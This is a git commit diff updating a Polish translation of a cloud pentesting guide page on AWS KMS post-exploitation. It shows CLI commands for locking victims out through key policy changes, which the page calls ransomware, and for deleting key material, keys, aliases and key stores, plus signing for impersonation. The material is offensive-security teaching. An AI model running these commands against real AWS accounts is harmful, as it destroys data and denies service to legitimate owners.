Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation

This commit is contained in:
Translator
2026-02-23 11:05:52 +00:00
parent d4e5ccfab2
commit 911c5bc890
@@ -4,7 +4,7 @@
## KMS
Więcej informacji:
Aby uzyskać więcej informacji sprawdź:
{{#ref}}
../../aws-services/aws-kms-enum.md
@@ -12,15 +12,15 @@ Więcej informacji:
### Encrypt/Decrypt information
`fileb://` and `file://` są schematami URI używanymi w poleceniach AWS CLI do wskazania ścieżki do lokalnych plików:
`fileb://` and `file://` są schematami URI używanymi w poleceniach AWS CLI do określenia ścieżki do plików lokalnych:
- `fileb://:` Odczytuje plik w trybie binarnym, zwykle używane dla plików binarnych.
- `file://:` Odczytuje plik w trybie tekstowym, zwykle używane dla zwykłych plików tekstowych, skryptów lub JSON, które nie mają specjalnych wymagań dotyczących kodowania.
- `fileb://:` Odczytuje plik w trybie binarnym, zwykle używany dla plików nie-tekstowych.
- `file://:` Odczytuje plik w trybie tekstowym, zwykle używany dla zwykłych plików tekstowych, skryptów lub JSON, które nie mają specjalnych wymagań kodowania.
> [!TIP]
> Zauważ, że jeśli chcesz decrypt danych wewnątrz pliku, plik musi zawierać surowe dane binarne, a nie dane zakodowane base64. (fileb://)
> Zwróć uwa, że jeśli chcesz decrypt danych znajdujących się w pliku, plik musi zawierać dane binarne, nie zakodowane w base64. (fileb://)
- Using a **symmetric** key
- Używanie **symetrycznego** klucza
```bash
# Encrypt data
aws kms encrypt \
@@ -38,7 +38,7 @@ aws kms decrypt \
--query Plaintext | base64 \
--decode
```
- Użycie **asymetrycznego** klucza:
- Użycie klucza **asymmetric**:
```bash
# Encrypt data
aws kms encrypt \
@@ -62,12 +62,12 @@ aws kms decrypt \
Atakujący z uprzywilejowanym dostępem do KMS może zmodyfikować politykę KMS dla kluczy i **przyznać swojemu kontu dostęp do nich**, usuwając dostęp przyznany prawowitemu kontu.
W rezultacie użytkownicy prawowitego konta nie będą mogli uzyskać dostępu do żadnych informacji żadnej usługi zaszyfrowanej tymi kluczami, tworząc proste, lecz skuteczne ransomware wymierzone w konto.
W rezultacie użytkownicy prawowitego konta nie będą mogli uzyskać dostępu do żadnych informacji z usług zaszyfrowanych tymi kluczami, tworząc proste, lecz skuteczne ransomware wobec konta.
> [!WARNING]
> Zwróć uwagę, że **AWS managed keys aren't affected** przez ten atak; dotyczy to tylko **Customer managed keys**.
> Należy pamiętać, że **AWS managed keys aren't affected** przez ten atak; dotyczy to tylko **Customer managed keys**.
> Zwróć też uwagę na konieczność użycia parametru **`--bypass-policy-lockout-safety-check`** (brak tej opcji w konsoli webowej powoduje, że ten atak jest możliwy tylko z poziomu CLI).
> Zwróć uwagę na konieczność użycia parametru **`--bypass-policy-lockout-safety-check`** (brak tej opcji w konsoli webowej sprawia, że ten atak jest możliwy tylko z poziomu CLI).
```bash
# Force policy change
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
@@ -92,22 +92,22 @@ aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
}
```
> [!CAUTION]
> Zwróć uwagę, że jeśli zmienisz tę politykę i udzielisz dostępu tylko kontu zewnętrznemu, a następnie z tego konta zewnętrznego spróbujesz ustawić nową politykę, aby **przywrócić dostęp do oryginalnego konta, nie będziesz w stanie, ponieważ akcja Put Polocy nie może być wykonana z konta zewnętrznego**.
> Pamiętaj, że jeśli zmienisz tę politykę i przyznasz dostęp tylko zewnętrznemu kontu, a następnie z tego konta spróbujesz ustawić nową politykę, aby **przywrócić dostęp do oryginalnego konta, nie będziesz w stanie, ponieważ akcja Put Polocy nie może być wykonana z cross account**.
<figure><img src="../../../images/image (77).png" alt=""><figcaption></figcaption></figure>
### Ogólny KMS Ransomware
Istnieje inny sposób przeprowadzenia globalnego KMS Ransomware, który obejmowałby następujące kroki:
Istnieje inny sposób na przeprowadzenie globalnego KMS Ransomware, który obejmowałby następujące kroki:
- Utwórz nowy **klucz z materiałem klucza** zaimportowanym przez atakującego
- **Ponownie zaszyfruj starsze dane** ofiary, które były zaszyfrowane poprzednią wersją, przy użyciu nowego klucza
- **Ponownie zaszyfruj starsze dane** ofiary, które były zaszyfrowane poprzednią wersją, używając nowego
- **Usuń klucz KMS**
- Teraz tylko atakujący, który posiada oryginalny materiał klucza, będzie w stanie odszyfrować zaszyfrowane dane
### Delete Keys via kms:DeleteImportedKeyMaterial
With the `kms:DeleteImportedKeyMaterial` permission, an actor can delete the imported key material from CMKs with `Origin=EXTERNAL` (CMKs that have imported their key material), making them unable to decrypt data. This action is destructive and irreversible unless compatible material is re-imported, allowing an attacker to effectively cause ransomware-like data loss by rendering encrypted information permanently inaccessible.
Z uprawnieniem `kms:DeleteImportedKeyMaterial` aktor może usunąć zaimportowany materiał klucza z CMK z `Origin=EXTERNAL` (CMK, które zaimportowały swój materiał klucza), uniemożliwiając im odszyfrowanie danych. Ta akcja jest destrukcyjna i nieodwracalna, chyba że kompatybilny materiał zostanie ponownie zaimportowany, co pozwala atakującemu w praktyce spowodować utratę danych podobną do ransomware, czyniąc zaszyfrowane informacje trwale niedostępnymi.
```bash
aws kms delete-imported-key-material --key-id <Key_ID>
```
@@ -121,10 +121,10 @@ aws kms schedule-key-deletion \
--pending-window-in-days 7
```
> [!CAUTION]
> Zwróć uwagę, że AWS teraz **uniemożliwia wykonywanie poprzednich działań z innego konta:**
### Zmiana lub usunięcie aliasu
Ten atak usuwa lub przekierowuje aliasy AWS KMS, przerywając rozwiązywanie kluczy i powodując natychmiastowe awarie w usługach, które polegają na tych aliasach, co skutkuje denial-of-service. Mając uprawnienia takie jak `kms:DeleteAlias` lub `kms:UpdateAlias`, atakujący może usunąć lub ponownie wskazać aliasy i zakłócić operacje kryptograficzne (np. encrypt, describe). Każda usługa, która odwołuje się do aliasu zamiast ID klucza, może nie działać do czasu przywrócenia aliasu lub jego prawidłowego odwzorowania.
> Zwróć uwagę, że AWS teraz **zapobiega wykonywaniu poprzednich działań z cross account:**
>
> ### Change or delete Alias
> Ten atak usuwa lub przekierowuje aliasy AWS KMS, zaburzając rozwiązywanie kluczy i powodując natychmiastowe błędy w usługach, które polegają na tych aliasach, co skutkuje odmową usługi. Mając uprawnienia takie jak `kms:DeleteAlias` lub `kms:UpdateAlias`, atakujący może usunąć lub przekierować aliasy i zakłócić operacje kryptograficzne (np. encrypt, describe). Każda usługa, która odwołuje się do aliasu zamiast do ID klucza, może nie działać, dopóki alias nie zostanie przywrócony lub poprawnie zmapowany.
```bash
# Delete Alias
aws kms delete-alias --alias-name alias/<key_alias>
@@ -134,8 +134,8 @@ aws kms update-alias \
--alias-name alias/<key_alias> \
--target-key-id <new_target_key>
```
### Cancel Key Deletion
Posiadając uprawnienia takie jak `kms:CancelKeyDeletion` i `kms:EnableKey`, atakujący może anulować zaplanowane usunięcie AWS KMS customer master key i później ponownie je włączyć. W ten sposób klucz zostaje odzyskany (początkowo w stanie Disabled) i przywraca się jego zdolność do odszyfrowania wcześniej chronionych danych, umożliwiając exfiltration.
### Anulowanie zaplanowanego usunięcia klucza
Mając uprawnienia takie jak `kms:CancelKeyDeletion` i `kms:EnableKey`, atakujący może anulować zaplanowane usunięcie klucza głównego klienta AWS KMS i później ponownie go włączyć. Dzięki temu klucz zostaje odzyskany (początkowo w stanie Disabled) i przywracana jest jego zdolność do odszyfrowywania wcześniej chronionych danych, umożliwiając exfiltration.
```bash
# Firts cancel de deletion
aws kms cancel-key-deletion \
@@ -146,14 +146,13 @@ aws kms enable-key \
--key-id <Key_ID>
```
### Wyłączenie klucza
Z uprawnieniem `kms:DisableKey` aktor może wyłączyć AWS KMS customer master key (CMK), uniemożliwiając jego użycie do szyfrowania lub odszyfrowywania. To przerywa dostęp dla wszelkich usług zależnych od tego CMK i może spowodować natychmiastowe zakłócenia lub denial-of-service, dopóki klucz nie zostanie ponownie włączony.
Posiadając uprawnienie `kms:DisableKey`, aktor może wyłączyć AWS KMS customer master key, co uniemożliwia jego użycie do szyfrowania lub odszyfrowywania. Powoduje to zerwanie dostępu dla wszystkich usług zależnych od tego CMK i może spowodować natychmiastowe zakłócenia lub denial-of-service, dopóki klucz nie zostanie ponownie włączony.
```bash
aws kms disable-key \
--key-id <key_id>
```
### Wyprowadzenie wspólnego sekretu
Dzięki uprawnieniu `kms:DeriveSharedSecret` podmiot może użyć klucza prywatnego przechowywanego w KMS oraz klucza publicznego dostarczonego przez użytkownika, aby obliczyć wspólny sekret ECDH.
### Wyprowadzenie współdzielonego sekretu
Z uprawnieniem `kms:DeriveSharedSecret` podmiot może użyć prywatnego klucza przechowywanego w KMS oraz klucza publicznego dostarczonego przez użytkownika, aby obliczyć współdzielony sekret ECDH.
```bash
aws kms derive-shared-secret \
--key-id <key_id> \
@@ -161,7 +160,7 @@ aws kms derive-shared-secret \
--key-agreement-algorithm <algorithm>
```
### Impersonation via kms:Sign
Z uprawnieniem `kms:Sign` podmiot może użyć CMK przechowywanej w KMS, aby cryptographically sign danych bez ujawniania private key, tworząc prawidłowe signatures, które mogą umożliwić impersonation lub autoryzować złośliwe działania.
Mając uprawnienie `kms:Sign`, aktor może użyć przechowywanego w KMS CMK do kryptograficznego podpisywania danych bez ujawniania klucza prywatnego, generując ważne podpisy, które mogą umożliwić impersonation lub autoryzować złośliwe działania.
```bash
aws kms sign \
--key-id <key-id> \
@@ -169,8 +168,8 @@ aws kms sign \
--signing-algorithm <algoritmo> \
--message-type RAW
```
### DoS z Custom Key Stores
Z uprawnieniami takimi jak `kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore` lub `kms:UpdateCustomKeyStore`, aktor może modyfikować, odłączać lub usuwać AWS KMS Custom Key Store (CKS), powodując, że jego klucze główne przestają działać. To przerywa operacje szyfrowania, odszyfrowywania i podpisywania dla usług, które polegają na tych kluczach i może spowodować natychmiastowy denial-of-service. Ograniczanie i monitorowanie tych uprawnień jest więc krytyczne.
### DoS with Custom Key Stores
Dysponując uprawnieniami takimi jak `kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore` lub `kms:UpdateCustomKeyStore`, podmiot może modyfikować, odłączyć lub usuć AWS KMS Custom Key Store (CKS), czyniąc jego klucze główne nieoperacyjnymi. To przerywa operacje szyfrowania, odszyfrowywania i podpisywania dla wszystkich usług, które polegają na tych kluczach i może spowodować natychmiastowy denial-of-service. Dlatego ograniczanie i monitorowanie tych uprawnień jest kluczowe.
```bash
aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>